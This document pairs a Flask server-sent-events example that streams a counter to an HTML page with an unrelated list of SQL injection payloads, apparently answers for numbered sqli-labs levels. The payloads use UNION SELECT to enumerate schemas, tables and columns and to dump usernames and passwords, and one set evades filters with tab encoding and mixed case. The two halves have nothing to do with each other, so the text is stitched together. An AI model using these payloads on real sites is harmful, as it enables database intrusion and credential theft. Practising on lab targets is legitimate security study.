把python的累加数据实时显示在html上,不使用连续轮询。
Python 代码
from flask import Flask, render_template, Response
import time
app = Flask(__name__)
accumulated_data = 0
# Function to continuously accumulate data
def accumulate_data():
global accumulated_data
while True:
accumulated_data += 1
time.sleep(1)
# Thread to run the data accumulation function
from threading import Thread
accumulation_thread = Thread(target=accumulate_data)
accumulation_thread.daemon = True
accumulation_thread.start()
# SSE endpoint to stream accumulated data
@app.route('/stream_data')
def stream_data():
def generate_data():
global accumulated_data
while True:
yield f'data: {accumulated_data}\n\n'
time.sleep(1)
return Response(generate_data(), content_type='text/event-stream')
@app.route('/')
def index():
return render_template('index.html')
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)
index.html
<!DOCTYPE html>
<html>
<head>
<title>Real-time Data Accumulation</title>
</head>
<body>
<h1>Real-time Data Accumulation:</h1>
<div id="data-container"></div>
<script type="text/javascript">
function handleSSE(event) {
const dataContainer = document.getElementById('data-container');
dataContainer.innerText = event.data;
}
const eventSource = new EventSource('/stream_data');
eventSource.onmessage = handleSSE;
</script>
</body>
</html>
23
-1’ union select 1,(select database()),3 --+
id=-1’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3 and ‘1’='1
-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3 and ‘1’='1
-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),3 and ‘1’='1
-1’ union select 1,(select group_concat(id,‘‘,username,’’,password) from security.users),3 and ‘1’='1
27
?id=1’%09And%09’1’='1
?id=0%27%09UniOn%09sElect%091,(sElEct%09database()),3%09And%09%271%27='1
?id=0%27%09UniOn%09sElect%091,(sElect%09group_concat(schema_name)%09from%09information_schema.schemata),3%09And%09%271%27='1
?id=0’%09UniOn%09sElect%091,(sElect%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=‘security’),3%09And%09’1’='1
?id=0’%09UniOn%09sElect%091,(sElect%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema=‘security’ and%09table_schema=‘security’),3%09And%09’1’='1
?id=0’%09UniOn%09sElect%091,(sElect%09group_concat(id,‘‘,username,’’,password)%09from%09security.users),3%09And%09’1’='1